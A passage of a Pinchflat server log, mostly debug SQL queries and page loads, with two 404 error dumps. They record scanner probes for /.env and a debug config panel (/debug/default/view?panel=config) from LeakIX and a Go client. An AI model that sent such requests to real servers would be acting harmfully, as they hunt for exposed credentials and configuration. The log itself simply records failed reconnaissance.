m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:57.174 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=16.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:37:57.177 [info] Sent 200 in 40ms 21:37:58.128 [info] GET /debug/default/view 21:37:58.129 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=968.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:58.130 [debug] QUERY OK source="settings" db=0.3ms idle=959.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:58.130 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:58.131 [error] #PID<0.36634.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 26) terminated Server: youtube.plexultra.com:80 (http) Request: GET /debug/default/view?panel=config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/default/view (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", streamid: 26, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36634.0>, params: %{"panel" => "config"}, path_info: ["debug", "default", "view"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"panel" => "config"}, query_string: "panel=config", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/debug/default/view", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMl4GIz5O7bHwAAVwD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", streamid: 26, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/default/view (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "panel=config", streamid: 26, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36634.0>, params: %{"panel" => "config"}, path_info: ["debug", "default", "view"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"panel" => "config"}, query_string: "panel=config", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, (truncated) 21:38:00.222 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:38:10.914 [info] GET / 21:38:10.914 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:38:10.916 [debug] QUERY OK source="settings" db=0.4ms idle=1841.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:10.917 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1842.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:38:10.917 [debug] QUERY OK source="sources" db=0.2ms idle=1201.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:38:10.920 [debug] QUERY OK source="media_items" db=2.0ms idle=843.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:38:10.923 [debug] QUERY OK source="media_items" db=3.0ms queue=0.1ms idle=201.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:38:10.925 [debug] QUERY OK source="settings" db=1.0ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:10.926 [debug] QUERY OK source="settings" db=0.3ms idle=8.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:10.927 [debug] QUERY OK source="settings" db=0.2ms idle=9.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:10.930 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=10.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:38:10.932 [debug] QUERY OK source="media_items" db=0.7ms idle=8.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:38:10.934 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=7.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:38:10.935 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:38:10.943 [debug] QUERY OK source="media_items" db=3.5ms idle=12.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:38:10.946 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=13.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:38:10.947 [debug] QUERY OK source="sources" db=0.4ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:38:10.950 [info] Sent 200 in 36ms 21:38:20.590 [info] {"source":"oban","duration":2921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:50.598 [info] {"source":"oban","duration":3064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.225 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:39:20.603 [info] {"source":"oban","duration":2839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:34.823 [info] GET / 21:39:34.824 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:39:34.831 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=708.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:34.832 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=594.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:39:34.833 [debug] QUERY OK source="sources" db=0.4ms queue=0.5ms idle=595.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:39:34.836 [debug] QUERY OK source="media_items" db=2.7ms idle=597.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:39:34.839 [debug] QUERY OK source="media_items" db=1.4ms queue=0.3ms idle=600.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:39:34.841 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=14.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:34.842 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:34.843 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:34.846 [debug] QUERY OK source="tasks" db=0.3ms idle=9.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:39:34.848 [debug] QUERY OK source="media_items" db=0.8ms idle=8.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:39:34.850 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=8.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:39:34.852 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:39:34.859 [debug] QUERY OK source="media_items" db=3.8ms idle=11.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:39:34.863 [debug] QUERY OK source="media_items" db=2.7ms queue=0.2ms idle=13.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:39:34.865 [debug] QUERY OK source="sources" db=0.5ms queue=0.3ms idle=15.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:39:34.868 [info] Sent 200 in 44ms 21:39:45.124 [info] GET /.env 21:39:45.126 [debug] QUERY OK source="settings" db=0.8ms queue=0.2ms idle=952.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:45.127 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=876.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:45.127 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:39:45.128 [error] #PID<0.36651.0> running PinchflatWeb.Endpoint (connection #PID<0.36650.0>, stream id 1) terminated Server: youtube.plexultra.com:443 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36650.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 37330}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Go-http-client/2.0", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: 